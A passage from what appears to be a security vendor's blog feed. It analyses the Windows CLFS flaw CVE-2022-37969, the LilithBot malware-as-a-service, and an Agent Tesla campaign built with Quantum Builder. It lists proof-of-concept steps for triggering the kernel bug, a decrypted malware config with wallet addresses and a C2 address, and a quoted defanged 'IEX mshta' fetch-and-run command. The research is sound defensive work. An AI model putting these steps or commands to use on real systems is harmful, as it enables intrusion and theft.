cidClient; USHORT fAttributes; ULONG cbFlushThreshold; ULONG cShadowSectors; ULONGLONG cbUndoCommitment; LARGE_INTEGER llCreateTime; LARGE_INTEGER llAccessTime; LARGE_INTEGER llWriteTime; CLFS_LSN lsnOwnerPage; CLFS_LSN lsnArchiveTail; CLFS_LSN lsnBase; CLFS_LSN lsnLast; CLFS_LSN lsnRestart; CLFS_LSN lsnPhysicalBase; CLFS_LSN lsnUnused1; CLFS_LSN lsnUnused2; CLFS_LOG_STATE eState; //+0x78 union { HANDLE hSecurityContext; ULONGLONG ullAlignment; }; } CLFS_CLIENT_CONTEXT, *PCLFS_CLIENT_CONTEXT; The eState field is located at offset 0x78 in the CLFS_CLIENT_CONTEXT structure, and can be one of the following values: typedef UCHAR CLFS_LOG_STATE, *PCLFS_LOG_STATE; const CLFS_LOG_STATE CLFS_LOG_UNINITIALIZED = 0x01; const CLFS_LOG_STATE CLFS_LOG_INITIALIZED = 0x02; const CLFS_LOG_STATE CLFS_LOG_ACTIVE = 0x04; const CLFS_LOG_STATE CLFS_LOG_PENDING_DELETE = 0x08; const CLFS_LOG_STATE CLFS_LOG_PENDING_ARCHIVE = 0x10; const CLFS_LOG_STATE CLFS_LOG_SHUTDOWN = 0x20; const CLFS_LOG_STATE CLFS_LOG_MULTIPLEXED = 0x40; const CLFS_LOG_STATE CLFS_LOG_SECURE = 0x80; In the Base Record, the container context is related to adding a container file for a base log file, which is represented by the CLFS_CONTAINER_CONTEXT structure defined below: typedef struct _CLFS_CONTAINER_CONTEXT { CLFS_NODE_ID cidNode; //8 bytes ULONGLONG cbContainer; //8 bytes CLFS_CONTAINER_ID cidContainer; // 4 bytes CLFS_CONTAINER_ID cidQueue; // 4 bytes union { CClfsContainer* pContainer; //8 bytes ULONGLONG ullAlignment; }; CLFS_USN usnCurrent; CLFS_CONTAINER_STATE eState; ULONG cbPrevOffset; //4 bytes ULONG cbNextOffset; //4 bytes } CLFS_CONTAINER_CONTEXT, *PCLFS_CONTAINER_CONTEXT; The field pContainer is a kernel pointer to the CClfsContainer object representing the container at runtime, which is located at offset 0x18 in the CLFS_CONTAINER_CONTEXT structure. Figure 5 shows the memory layout of the CLFS_CONTAINER_CONTEXT structure. Figure 5. The memory layout of the CLFS_CONTAINER_CONTEXT structure Reproduce BSOD Crash In order to determine the root cause of CVE-2022-37969, ThreatLabz developed a Proof-of-Concept (PoC) that triggers a “blue screen of death” (BSOD) crash stably. Figure 6 shows detailed crash information after triggering the vulnerability. Figure 6. CVE-2022-37969 crash information in WinDbg As shown in Figure 6, the register rdi points to an invalid memory address. The register rdi stores a pointer to the CClfsContainer object. In the CLFS_CONTAINER_CONTEXT structure described before, the field pContainer is a pointer to the CClfsContainer object and located at offset 0x18 in the memory layout. Based on the location of the crash, the field pContainer in the CLFS_CONTAINER_CONTEXT structure has been corrupted. This leads to a BSOD crash when this pointer is dereferenced. Figure 7 shows a comparison between a properly structured base log file (.BLF) and a specially crafted base log file that is used to trigger the CVE-2022-37969 vulnerability. Figure 7. A specially crafted Base Log File (BLF) for CVE-2022-37969 After this base log file is created, specific bytes including the field SignatureOffset, client context offset array, cbSymbol, a fake client context, etc must be modified accordingly. As shown in Figure 7, all mutated bytes are located in the Base Log Record (offset: 0x800 ~ 0x81FF in the .blf file). The modifications to the .blf file are listed in Figure 8. Figure 8. Modifications to the .BLF file to trigger CVE-2022-37969 Proof-of-Concept code to trigger CVE-2022-37969 is shown in Figure 9. Figure 9. Proof-of-Concept code snippet for CVE-2022-37969 The Proof-of-Concept of CVE-2022-37969 involves the following steps. Create a base log file MyLog.blf in the folder C:\Users\Public\ via the CreateLogFile API Create dozens of base log files named MyLog_xxx.blf. It’s crucial to make the offset between the two subsequently created memory regions representing the Base Block constant (where the constant offset equals 0x11000 bytes). The original 0-day sample leveraged an advanced method to produce the offset constant. Part 2 of this blog series will cover this technique. The ThreatLabz PoC uses a constant count to create base log files, and therefore, might not make the offset between the two subsequently created memory regions constant. Hence, the constant value has to be tweaked for this situation. Modify a couple of bytes at specific offsets in MyLog.blf, recalculate the new CRC32 checksum for the Base Block, then write the new checksum value at offset 0x80C. Then, open the existing base log file MyLog.blf. Call the CreateLogFile API to create a base log file MyLxg_xxx.blf in the folder C:\Users\Public\. Call the AddLogContainer API to add a log container for the base log file MyLxg_xxx.blf created in Step 4. Call GetProcAddress(LoadLibraryA("ntdll.dll"), "NtSetInformationFile") to obtain the function address of the NtSetInformationFile API. Call the AddLogContainer API to add a log container for the base log file MyLog.blf opened in Step 3. Call NtSetInformationFile(v55, (PIO_STATUS_BLOCK)v33, v28, 1, (FILE_INFORMATION_CLASS)13), where the last parameter is the type of FileInformationClass. When the value is FileDispositionInformation (13), the function will delete the file when it is closed or will cancel a previously requested deletion. Call the CloseHandle API to close the handle of the base log file MyLxg_xxx.blf, to trigger this vulnerability. Root Cause Analysis Now that Proof-of-Code has been introduced, the root cause can be analyzed. In Figure 9, Step 3 calls the CreateLogFile API whose 5th parameter is 4 (OPEN_ALWAYS), which opens an existing file or creates the file if it does not exist. In this case, the existing base log file MyLog.blf is opened. In Step 4, the code calls the CreateLogFile API to create a new base log file named MyLxg_xxx.blf. In Steps 5 and 7, respectively, the code calls AddLogContainer to add a container to the physical log that is associated with the log handle. First, let’s take a closer look at how the CLFS driver handles the request of adding a log container when the AddLogContainer() function is called in user space. The following breakpoint can be set to trace the process of handling this request. bu CLFS!CClfsRequest::AllocContainer In CLFS.sys, the CClfsRequest class is responsible for handling the requests from user space. The CClfsRequest::AllocContainer function is used to handle the request of adding a container to the physical log. The CClfsRequest::AllocContainer function calls CClfsLogFcbPhysical::AllocContainer whose declaration is shown below: CClfsLogFcbPhysical::AllocContainer(CClfsLogFcbPhysical *this, _FILE_OBJECT *,_UNICODE_STRING *,unsigned __int64 *) Next, the breakpoint at CClfsLogFcbPhysical::AllocContainer is set as follows: bu CLFS!CClfsLogFcbPhysical::AllocContainer In Step 5, when the code calls the AddLogContainer function, the breakpoint at CClfsLogFcbPhysical::AllocContainer is triggered. When the breakpoint is hit, let’s inspect the this pointer of the CClfsLogFcbPhysical class. The this pointer points to the CClfsLogFcbPhysical object. As shown in Figure 10, the register rcx stores the this pointer of the CClfsLogFcbPhysical class. Figure 10. Inspection of the this pointer for the CClfsLogFcbPhysical class at CClfsLogFcbPhysical::AllocContainer The address of vftable in the CClfsLogFcbPhysical class is stored at offset 0x00. At offset this+0x30, a pointer to the log name is stored. At offset this+0x2B0, the this pointer to CClfsBaseFilePersisted class is stored. Once in memory, a CLFS Base Log File is represented by a CClfsBaseFile class, which can be further extended by a CClfsBaseFilePersisted class. In the this pointer of the CClfsBaseFilePersisted class, at offset 0x30 a pointer to a heap buffer is stored whose size is 0x90 bytes. Furthermore, in the heap buffer, a pointer to the Base Block is stored at offset 0x30. Additionally, in the this pointer of CClfsBaseFilePersisted, a pointer to the CClfsContainer object is stored at offset 0x1C0. After a container is added successfully, we can check the CLFS_CONTAINER_CONTEXT structure described in Figure 5 in memory as shown in Figure 11. Figure 11. The CLFS_CONTAINER_CONTEXT structure after a container is added successfully At offset 0x1C0 in the CClfsBaseFilePersisted object, a pointer to the CClfsContainer object is stored which comes from the field pContainer in the CLFS_CONTAINER_CONTEXT structure. At this point, a memory write breakpoint at CLFS_CONTAINER_CONTEXT+0x18 can be set to trace when the pointer to the CClfsContainer object in the CLFS_CONTAINER_CONTEXT structure is corrupted. Another memory write breakpoint at offset 0x1C0 in the CClfsBaseFilePersisted object can be set as follows: 1: kd> ba w8 ffffc80c`cc86a4f0 //CLFS_CONTAINER_CONTEXT: +0x18 1: kd> ba w8 ffffb702`3cf251c0 //CClfsBaseFilePersisted: +0x1C0 In Step 7, when the code calls the AddLogContainer function, the breakpoints at CLFS!CClfsRequest::AllocContainer and CLFS!CClfsLogFcbPhysical::AllocContainer are hit again. At this point, let’s inspect the this pointer (see Figure 12) of the CClfsLogFcbPhysical class. It's worth noting that the SignaturesOffset field, which was originally set to 0x00000050 in the crafted MyLog.blf file, has been set to 0xFFFF0050 in memory. Figure 12. Inspection of the this pointer for CClfsLogFcbPhysical class In WinDbg, let’s continue to run the code. The memory write breakpoint “ba w8 ffffc80c`cc86a4f0” will be hit, and the CLFS_CONTAINER_CONTEXT structure in the Base Record produces an out-of-bound write, which leads to a corrupted pointer in the CClfsContainer object shown in Figure 13. Figure 13. Corrupting the pointer to the CClfsContainer object in CLFS_CONTAINER_CONTEXT structure Based on the above back stack trace, the memset function was called to trigger the memory write breakpoint in the CClfsBaseFilePersisted::AllocSymbol function. Figure 14 shows the pseudocode of the CClfsBaseFilePersisted::AllocSymbol function. Figure 14. The pseudocode of the CClfsBaseFilePersisted::AllocSymbol function This function is described as follows: The variable v9 is the value of the field cbSymbolZone in the Base Record Header. The field cbSymbolZone was set to be an abnormal value described in Figure 8. This value was modified from 0x000000F8 to 0x0001114B. Validate the cbSymbolZone field. In order to perform an out-of-bound write in Step 4, this validation must be bypassed. The SignaturesOffset field, which was originally 0x00000050 in the crafted MyLog.blf file described in Figure 7, has been overwritten with a large number (0xFFFF0050) in memory. Therefore, even when the cbSymbolZone field is set to an abnormal value, the validation for the cbSymbolZone field can still be bypassed. Determining the reason that the SignaturesOffset field is set to 0xFFFF0050 from 0x00000050 is the root cause of CVE-2022-37969. The variable v10 is equal to v9 plus the BaseLogRecord plus 0x1338, and the variable v9 is equal to 0x0001114b, which leads to an invalid offset at v10. The function calls memset() which causes an out-of-bound write at an invalid offset v10, which falls into the CLFS_CONTAINER_CONTEXT structure in the Base Record for MyLxg_xxx.blf, leading to a corrupted CClfsContainer pointer at offset 0x18 in the CLFS_CONTAINER_CONTEXT structure. Figure 15 shows how the out-of-bound write occurs, leading to a corrupted pointer in the CClfsContainer object. Figure 15. Explanation of the out-of-bound write caused by CVE-2022-37969 So far, we have discussed why an out-of-bound write occurred and how the pointer to CClfsContainer object in the CLFS_CONTAINER_CONEXT structure was corrupted. Next, let’s take a look at when the corrupted CClfsContainer pointer will be dereferenced. After that, we will go back to figure out why the SignaturesOffset field in memory is set to 0xFFFF0050 from 0x00000050. When the CloseHandle function is called in user space, CClfsRequest::Close(PIRP Irp) is responsible for handling this request. In the kernel, another memory breakpoint (0x1c0+CClfsBaseFilePersisted) is hit in the ClfsBaseFilePersisted::WriteMetadataBlock function as shown in Figure 16. Figure 16. Memory breakpoint(0x1c0+CClfsBaseFilePersisted) hit in ClfsBaseFilePersisted::WriteMetadataBlock The corrupted pointer is copied to the CClfsContainer object in the CLFS_CONTAINER_CONTEXT structure in the Base Record to the offset 0x1c0 in the CClfsBaseFilePersisted object. Figure 17 shows the pseudocode of the ClfsBaseFilePersisted::WriteMetadataBlock function after the corrupted pointer to CClfsContainer is stored at offset 0x1c0 in the CClfsBaseFilePersisted object. The code zeros out the field of the pointer to the CClfsContainer object in the CLFS_CONTAINER_CONTEXT structure. After decoding the block, the pointer to the CClfsContainer object is restored in the CLFS_CONTAINER_CONTEXT structure from the offset 0x1c0 in the CClfsBaseFilePersisted object. Figure 17. The pseudocode of the ClfsBaseFilePersisted::WriteMetadataBlock function Finally, the breakpoint at CLFS!CClfsBaseFilePersisted::RemoveContainer can be set to trace when the corrupted pointer to the CClfsContainer object in the CLFS_CONTAINER_CONTEXT structure in the Base Record is dereferenced. Figure 18 shows the pseudocode of the CClfsBaseFilePersisted::RemoveContainer function. Figure 18.The pseudocode of the CClfsBaseFilePersisted::RemoveContainer function The following steps are executed in the CClfsBaseFilePersisted::RemoveContainer function. Obtains the container context offset at offset 0x398 in the Base Record. Calls CClfsBaseFile::GetSymbol to obtain the pointer to the CLFS_CONTAINER_CONTEXT structure and stores it in the 4th parameter. Assigns the value of the pointer to the CClfsContainter object in the CLFS_CONTAINER_CONTEXT structure obtained in Step 2 to the local variable v13. Zeros out the pointer to the CClfsContainter object in the CLFS_CONTAINER_CONTEXT structure. Calls CClfsContainer::Remove and CClfsContainer::Release, in turn, to remove the associated container log file and release the CClfsContainer object. Dereferencing the corrupted pointer to the CClfsContainter object leads to a memory violation. Figure 19 shows the crash information in WinDbg, consequently producing the BSOD crash. Figure 19. Dereferencing the corrupted pointer to the CClfsContainter object As described in Figure 14, an out-of-bound write occurred in the CClfsBaseFilePersisted::AllocSymbol function. Before calling the memset function, the validation for the cbSymbolZone field has been bypassed due to the SignaturesOffset field in memory being overwritten with 0xFFFF0050. The SignaturesOffset field in memory in the base block can be overwritten with 0xFFFF0050 in the process of handling the request of calling the CreateLogFile API to open the specially crafted base log file MyLog.blf described in Step 3 in Figure 9. When the CreateLogFile function is called in user space, CLFS!CClfsRequest::Create is responsible for handling this request. When the CreateLogFile function is used to open an existing base log file, the function CClfsLogFcbPhysical::Initialize is called in CLFS.sys. Figure 20 shows the pseudo-code snippet of the CClfsLogFcbPhysical::Initialize function. Figure 20. The pseudo-code snippet of the CClfsLogFcbPhysical::Initialize This function is described as follows: 1. Call the CClfsBaseFilePersisted::OpenImage function to create a bigpool (size: 0x7a00) for the base block in a base log file. The following function calls can be followed to enter the CClfsBaseFilePersisted::ReadMetadataBlock function. CClfsBaseFilePersisted::OpenImage -> CClfsBaseFilePersisted::ReadImage -> CClfsBaseFile::AcquireMetadataBlock -> CClfsBaseFilePersisted::ReadMetadataBlock Figure 21 shows the pseudo-code snippet of the CClfsBaseFilePersisted::ReadMetadataBlock function, where the ExAllocatePoolWithTag(PagedPoolCacheAligned, 0x7a00, 0x73666C43u) is called to create a bigpool to store the base block, followed by initializations, and then the ClfsDecodeBlock function is called to decode the block. In the ClfsDecodeBlock function, the ClfsDecodeBlockPrivate function is called to parse the sector signatures array that is located at offset 0x50 (the value of SignaturesOffset) in the base block. Two bytes are required to overwrite the sector signature of each sector. These two bytes 0x0050 at offset 0x68 in the base block can be overwritten to the offset 0x19FE (0xC*0x200+0x1FE) where the sector signature of the 13th section is stored. At this point, we can set two memory write breakpoints which are located at base_block+0x68 and base_block+0x200*0xE-0x8. The purpose of setting these two memory write breakpoints is to trace when the sector signature of the 14th sector in the base block is overwritten, and the SignaturesOffset field in the base block is overwritten to 0xFFFF0050. 1: kd> ba w8 ffffd08b`51c03000+0x68 //base_block+0x68 1: kd> ba w8 ffffd08b`51c03000+0x200*0xE-0x8 // base_block+0x200*0xe-0x8 Figure 21. The pseudo-code snippet of the CClfsBaseFilePersisted::ReadMetadataBlock function 2. Call the CClfsBaseFile::AcquireClientContext function to acquire the client context from the base block. As shown in Figure 7, the first offset in the Client Context offset array located at offset 0x9A8 in the base log file is specially crafted. A fake Client Context is located at offset 0x23A0 in the base log file. The eState field located at offset 0x78 in the fake Client Context structure is set to 0x20 (CLFS_LOG_SHUTDOWN). 3. Check if the eState field is not CLFS_LOG_SHUTDOWN or the base log is a multiplexed log. 4. Call the CClfsLogFcbPhysical::ResetLog function due to the condition being false in Step 3. Figure 22 shows the pseudo-code snippet of the CClfsLogFcbPhysical::ResetLog function. The 8 bytes located at base_block+0x1BF8 are set to 0xFFFFFFFF00000000. The sector signature is located at offset base_block+0x1BFC. Therefore, the sector signature is overwritten with 0xFFFF. Figure 23 demonstrates that the sector signature is overwritten in WinDbg. Figure 22. The pseudo-code snippet of the CClfsLogFcbPhysical::ResetLog function Figure 23. The sector signature is overwritten with 0xFFFF 5. Call the CClfsLogFcbPhysical::FlushMetaData function. The following function calls can be followed to enter the CLFS!ClfsEncodeBlockPrivate function. CLFS!CClfsLogFcbPhysical::FlushMetadata -> CLFS!CClfsBaseFilePersisted::FlushImage -> CLFS!CClfsBaseFilePersisted::WriteMetadataBlock -> CLFS!ClfsEncodeBlock -> CLFS!ClfsEncodeBlockPrivate Figure 24 shows the pseudo-code snippet of the CLFS!ClfsEncodeBlockPrivate function. Figure 24. The pseudo-code snippet of the CLFS!ClfsEncodeBlockPrivate function The code above acquires the sector signature from each sector in the base block and overwrites the sector signature array with the sector signature. The sector signature array is located at offset 0x50 and overlaps the SignaturesOffset field in the base block. The sector signature of the 14th sector has been set to 0xFFFF as shown in Figure 23. Therefore, two bytes (0xFFFF) are overwritten at offset 0x6C (0x50+0xE*2) in the base block. At this time, the SignaturesOffset field has the value 0xFFFF0050 as shown in Figure 25. Figure 25. The SignaturesOffset field is overwritten with 0xFFFF0050 In the end, we summarize the process of overwriting the SignaturesOffset field in Figure 26. Figure 26. The process of overwriting the SignaturesOffset field Conclusion In this blog, ThreatLabz presented a detailed root cause analysis for CVE-2022-37969, which is due to improper bounds checking for the SignaturesOffset field in the Base Block for the base log file (BLF) in CLFS.sys. A specially crafted client context array and a fake Client Context in the base log file, can exploit CLFS to overwrite the SignaturesOffset field with an abnormal value. This leads to a validation bypass for the cbSymbolZone field when a Symbol is allocated. Thus, an invalid cbSymbolZone field can produce an out-of-bound write at an arbitrary offset. Therefore, the pointer to the CClfsContainer object can be corrupted. When dereferenced, the corrupted pointer to the CClfsContainer object causes a memory violation that triggers a BSOD crash. In Part 2, we will present the analysis of the 0-day exploit that leverages this vulnerability for privilege escalation. Stay tuned! Mitigation All users of Windows are encouraged to upgrade to the latest version. Zscaler’s Advanced Threat Protection and Advanced Cloud Sandbox can protect customers against the in-the-wild 0-day exploit of CVE-2022-37969. Win32.GenExploit.LogFile Win32.Exploit.CVE-2022-37969 Cloud Sandbox Detection References Fri, 14 10月 2022 09:54:15 -0700 Kai Lu Analysis of LilithBot Malware and Eternity Threat Group Introduction ThreatLabz recently discovered a sample of the multi-function malware LilithBot in our database. Further research revealed that this was associated with the Eternity group (a.k.a. EternityTeam; Eternity Project), a threat group linked to the Russian “Jester Group,” that has been active since at least January 2022. Eternity uses an as-a-service subscription model to distribute different Eternity-branded malware modules in underground forums, including a stealer, miner, botnet, ransomware, worm+dropper, and DDoS bot. The LilithBot we discovered was being distributed through a dedicated Telegram group and a Tor link that provided one-stop-shopping for these various payloads. In addition to its primary botnet functionality, it also had built-in stealer, clipper, and miner capabilities. In this blog, we’ll provide a deep analysis of the LilithBot campaign, including a look at several variants. Key Features of this Attack Threat groups have been enhancing their capabilities and selling them as Malware-as-a-Service (MaaS) in exchange for a membership fee. One such cyber criminal group, dubbed “Eternity,” has been found selling the malware “LilithBot” “LilithBot” is distributed by Eternity via a dedicated Telegram channel from which we can purchase it via Tor. It has advanced capabilities to be used as a miner, stealer, and a clipper along with its persistence mechanisms. The group has been continuously enhancing the malware, adding improvements such as anti-debug and anti-VM checks. The malware registers itself on the system and decrypts itself step by step, dropping its configuration file. LilithBot uses various types of fields such as license key, encoding key, and GUID which is encrypted via AES and decrypts itself at runtime. It steals all the information and uploads itself as a zip file to its Command and Control. Summary In July 2022, Zscaler’s ThreatLabz threat research team identified a multifunctional malware bot known as LilithBot, sold on a subscription basis by the Eternity group. In this campaign, the threat actor registers the user on its botnet and steals files and user information by uploading it to a command-and-control (C2) server using the Tor network. In this campaign, the malware uses fake certificates to bypass detections; it acts as a stealer, miner, clipper, and botnet. In this blog, ThreatLabz will explain various aspects of the LilithBot threat campaign. About Eternity Eternity Project is a malware toolkit which is sold as a malware-as-a-service (MaaS). These malware are distributed via the Tor proxy. Eternity advertises via a dedicated Telegram channel named @EternityDeveloper and has an email address of eternity@onionmail[.]org. They have different types of services: Stealer Miner Clipper Ransomware Worm+Dropper DDoS Bot Eternity usually operates via Telegram and accepts payments through popular cryptocurrencies including BTC, ETH, XMR, USDT, LTC, DASH, ZEC and DOGE. They provide customized viruses and will create viruses with add-on features if the customer desires.The price of the malware ranges from $90-$470 USD. The below screenshot of the Eternity Telegram channel illustrates the regular updates and enhancements the group makes to their products. Fig 1. Eternity Telegram Channel The Telegram channel is dubbed “Eternity Channel.” Basic account details are shown below. Fig 2. Telegram Home Page The Eternity group regularly directs clients to their dedicated Tor link, in which their various malware and their features are laid out in detail. Fig 3. Tor link mentioned in Telegram The Tor link leads to the below homepage, which explains the various products and modules available for purchase. Fig 4. Tor site for Eternity group The highest priced product for sale is their Ransomware, described in the below screenshot. The ransomware encrypts documents and files of the targeted user. The Tor page includes a dedicated video on how to generate the ransomware payload. Fig 5. Features of payloads In summary, Eternity has a very user-friendly service that is: Easy to purchase and operate via Tor, with a wide range of popular crypto currencies accepted for payment. Customizable to fit clients’ specific needs. Regularly updated at no additional charge. They also offer many add-on discounts and referral rewards to their customers. Comparison Between Two Variants As the LilithBot malware has evolved, we have observed slight differences in the main function of different releases. Several commands that were present in earlier variants are not present in the newest variant that we have received. These functions include: Checking for the presence of various DLLs by iterating via arraylist and returning a Boolean value.The DLLs mentioned are related to virtual software like Sandboxie, 360 Total Security, Avast, and COMODO AVs. Checking for Win32_PortConnector which represents physical connection ports such as DB-25 pin male, Centronics, or PS/2. This ensures that it’s on a physical machine rather than a virtual machine. Fig 6. Comparison between variants It is likely that the group is still performing these functions, but doing so in more sophisticated ways: such as performing it dynamically, encrypting the functions like other regions of code, or using other advanced tactics. Technical Analysis The entry point starts with registration of the bot. The malware initially checks with a Mutex named “8928a2d3-173b-43cb-8837-0e2e88b6d3b1” and subsequently checks for a file in the Startup folder. It then copies the same into the Startup folder if the file does not exist. The function StartupFilename then checks whether a file has been created which with an extension of “.exe”,”.com” or “.scr”; if not, it will append “.exe” to the filename and add this filename in the Startup path. Fig 7. Mutex Creation Fig 8. Checks Startup Files The image below shows that the bot has successfully registered when the response to the decrypted data has the string “registered successfully” present in the register bot function, when checking the array data value. Fig 9. Steals User Information Fig 10. Registered Successfully The Initialize function can be used to extract the value of different fields in a config file, as shown below. After decrypting the aes cipher, we can see all the important fields present in the config file. The following are the fields present inside the config file: "Lilith": { "CommandsCheckInterval": 14 }, "BotKiller": { "Enabled": false }, "Stealer": { "Enabled": true }, "Clipper": { "Enabled": true, "Addresses": { "XMR": "493eic71yTX23KnxuC1FimhkW5kEv1G2aMcE1spdBYot5BLo2ZdDbUcPCLdXMQPgLpgkNxLH4FWDRLjcdxmvG6ba4D8saKg", "BTC": "bc1qd8e4maz97mv23slmgg7d4je2mydslkl5m56vdz", "ETH": "0xFf7f57a2c7952fD9550A5E0FE53d4F104886403A" } }, "Miner": { "Enabled": false, "Pool": "", "Wallet": "493eic71yTX23KnxuC1FimhkW5kEv1G2aMcE1spdBYot5BLo2ZdDbUcPCLdXMQPgLpgkNxLH4FWDRLjcdxmvG6ba4D8saKg", "Password": "x", "MaxCPU": "40" } Fig 11. Decrypted Config File Found in memory We also came across a function that confirms the malware is using its own decrypting mechanism so that it can’t be decrypted manually. All the encrypted data goes through the function “DecryptBytesToString” on which we can extend our breakpoint to know all the values of the decrypting data using dynamic analysis. We can see that the C2 server has the IP address: 77.73.133[.]12 with the port no. 4545 with the api gate/ and which expects certain arguments for field {0} and {1}. The key and data are hidden inside the Hex array which we can see in the memory dump. We can decrypt the encoded key which translates to the value c4d8c7f433c1e79afe4eff3a4b05c7c9. We also observed a license key field which has the value 59BE0ABAF3BC570D8F6F88A597C64B85. This is the decrypting function; the below image shows the decrypted text for the corresponding values. Fig 12. Decrypted License Key and Encoded Key The sample also defines a function which gets the response of the body. If the response is not null, it then checks to make sure both the C2 server and the target’s network are online. Then, it will then generate the GET request by checking a few permissions. The malware further checks whether the hostname contains the onion domain. After checking the permissions, it downloads the Tor bundle and connects to the IP. The Upload File function combines the hostname with the client, name of the file, and directory as parameters. Fig 13. Checks if bot is online or offline Network Artifacts LilithBot malware shows 3 requests to the Host ip:77.73.133[.]12 with port 4545.The user agent shows the relation of the malware with LilithBot. The first request is to register the bot with /registerBot API with the mutex name prepended. Fig 14. Sends Request to Register Bot The second request is an API to download the file contents according to the plugin settings ‘admin_settings_plugin.json’. Fig 15. Requests plugin settings We see another request to upload the file in a ZIP format named as “” with dir parameter as ‘Stealer’. The zip file contains multiple directories that store information typical of a stealer, including the browser history, cookies, and personal information such as pictures stored in the C:\Users\[user]\Pictures folder, and much more. Fig 16. Uploads report file Fig 17. Contents inside Fake Certificates A legitimate Microsoft-signed file is issued by the “Microsoft Code Signing PCA” certificate authority, and will also display a countersignature from Verisign. However, we have seen that the fake certificates in LilithBot have no countersignature, and appears to have been issued by “Microsoft Code Signing PCA 2011” which was not verified. Fig 18. Fake certificate issued by Microsoft Sandbox Report Fig 19. Zscaler Sandbox report Zscaler's multilayered cloud security platform detects indicators, as shown below: Win64.PWS.LilithBot MITRE ATT&CK ID Tactic Technique T1003 Credential Access OS Credential Dumping T1552.002 Credential Access Credentials in Registry T1114.002 Collection Remote Email Collection T1005 Collection Data from Local System T1204 User Execution User interaction T1268 Conduct social engineering Uses social eng to install payload T1222 Defense Evasion File Directory Permissions Modification T1027 Defense Evasion Obfuscated Files or Information T1016 Discovery System Network Configuration Discovery T1012 Discovery Query Registry T1018 Discovery Remote System Discovery T1057 Discovery Process Discovery T1047 Execution Windows Management Instrumentation T1059 Execution Command and Scripting Interpreter T1037.005 Persistence, Privilege Escalation Startup Items T1071 Command and Control Application Layer Protocol Indicators of Compromise (IOCs) 0ebe8de305581c9eca37e53a46d033c8 Executable using microsoft signed certificate 1cae8559447370016ff20da8f717db53 Executable using microsoft signed certificate e793fcd5e44422313ec70599078adbdc Executable File 65c0241109562662f4398cff77499b25 Dll File using microsoft signed certificate C&C C&C C&C C&C Wed, 05 10月 2022 09:00:01 -0700 Shatak Jain Agent Tesla RAT Delivered by Quantum Builder With New TTPs Zscaler ThreatLabz has observed a campaign that delivers Agent Tesla, a .NET based keylogger and remote access trojan (RAT) active since 2014, using a builder named “Quantum Builder” sold on the dark web. This campaign features enhancements and a shift toward LNK (Windows shortcut) files when compared to similar attacks in the past. Quantum Builder (aka “Quantum Lnk Builder”) is used to create malicious shortcut files. It has been linked to the Lazarus Group APT due to shared TTPs and source code overlaps, but we cannot confidently attribute this campaign to any specific threat actor. In this campaign, threat actor use Quantum Builder to generate malicious LNK, HTA, and PowerShell payloads which then deliver Agent Tesla on the targeted machines. The payloads generated by the builder employ sophisticated techniques such as: User Account Control Bypass using the Microsoft Connection Manager Profile Installer (CMSTP) binary in order to execute the final payload with administrative privileges, and to perform Windows Defender Exclusions Utilizing a Multi-Staged Infection Chain integrating various attack vectors involving LOLBins Execution of PowerShell scripts in-memory in order to evade detection Execution of decoys in order to distract the victims post-infection. In the following blog, we have performed an in-depth analysis of the Infection Chains delivering Agent Tesla and the comparison of the payloads generated by Quantum Builder. Key Features of this Attack: The threat actors are evolving their tactics by incorporating new infection chains for delivering Agent Tesla on target machines by leveraging the LNK and HTA payloads generated by a builder dubbed “Quantum Builder” The Quantum Builder is a builder sold in the cybercrime marketplace and is capable of generating LNK, HTA, and ISO payloads consisting of sophisticated techniques to download and execute the final payload with a Multi-Staged attack Chain. The In-memory PowerShell scripts decrypted by Quantum Builder-generated HTA file perform User Account Control (UAC) Bypass via CMSTP in order to execute the final payload (Agent Tesla) with Administrative rights. UAC Bypass is also used to perform Windows Defender exclusions on the endpoint system. Utilizes Living Off the Land Binaries (LOLBins) to evade detections and camouflage the malicious activity. Incorporates techniques like Decoys, UAC Prompts and In-memory PowerShell to execute the final payload. These Techniques are regularly updated by the Developers of the Quantum Builder. Infection Chain: The novel infection chain commences with a spear phishing email which consists of a LNK File bundled as a GZIP Archive. Upon execution of the LNK File, the embedded PowerShell code spawns MSHTA which further executes the HTA File hosted on the Remote server. The HTA File then decrypts a PowerShell loader script which decrypts and loads another PowerShell script after performing AES Decryption and GZIP Decompression. The decrypted PowerShell script is the Downloader PS Script, which first downloads the Agent Tesla binary from a remote server, and then executes it with administrative privileges by performing a UAC Bypass using the CMSTP. Finally, the Agent Tesla is executed on the target machine with administrative privileges. Fig 1. Infection Chain Infection Chain - Technical Analysis: As discussed earlier, the Infection Chain starts with a spear phishing email with the subject: “New Order Confirmation - Guangdong Nanz Technology co. ltd.” GuangDong Nanz Technology is a Chinese Manufacturing Company and a leading supplier of Lump & Rock Sugar from Guangdong, China. Fig 2. Spear phishing Email with attached malicious .LNK File The spear phishing email consists of a GZIP Archive as an attachment. This archive is bundled with a Malicious .LNK (Windows Shortcut File) file with a PDF icon that lures the victim into execution as shown in the above screenshot. Once executed, the .LNK File runs an obfuscated PowerShell code which at first decrypts two base64 encoded strings using FromBase64String() and then XOR decrypts both the decoded strings using a hardcoded Single-Byte XOR Key: 0x77. The decrypted strings are then combined forming the following command “IEX mshta https[:]//[.]hta” Fig 3. Obfuscated PowerShell Code executed via the .LNK File The Invoke-Expression command is then executed which spawns the mshta.exe utility to execute a HTML Application (.HTA) file hosted on a remote server, whose URL is an argument to mshta binary. The MSHTA allows the threat actors to proxy the execution of arbitrary code through a trusted utility as shown in the screenshot below. Fig 4. Executes a HTA File hosted on a Remote Server via MSHTA The HTML Application (HTA) File executed by the MSHTA via the .LNK File contains multiple junk VBScript functions of around 1000 lines and consists of only a single function which is used for performing the malicious activity. The main malicious function first initiates an Encrypted Array and then passes it to a decryption function as shown in the below figure. Fig 5. HTA File - Main Function Next, the Decryption Routine checks whether the input is an Array by checking the VarType() as “8204” and then decrypts the Array by subtracting each value of the Array by a hard coded key value “37166” and then converting them into characters. These decrypted characters are then concatenated together forming a PowerShell Script as seen in the following screenshot. Fig 6. HTA File - PS Script Decryption Routine A similar Decryption routine is performed for decrypting the string “Wscript.Shell” with an Encrypted Array as an input. Once decryption of the PowerShell script and the Shell Object string is completed, the malicious function creates an Wscript.Shell Object via CreateObject() and then executes the Decrypted PowerShell Script via the Run Method. Fig 7. HTA File - PowerShell Script Execution Then, the Decrypted Loader PowerShell is executed in the form of a Hidden Window with the execution policy set as Unrestricted. The main aim of this Loader PowerShell Script is to decrypt another Downloader PowerShell Script by first performing an AES Decryption routine against an encrypted blob of data with a base64 encoded key. Once the AES decryption is completed, the decrypted value is then GZIP Decompressed which provides us with the new Decrypted PowerShell script, which is executed in-memory via Invoke-Expression. The complete code snippet with pointers can be seen in the screenshot below for better understanding. Fig 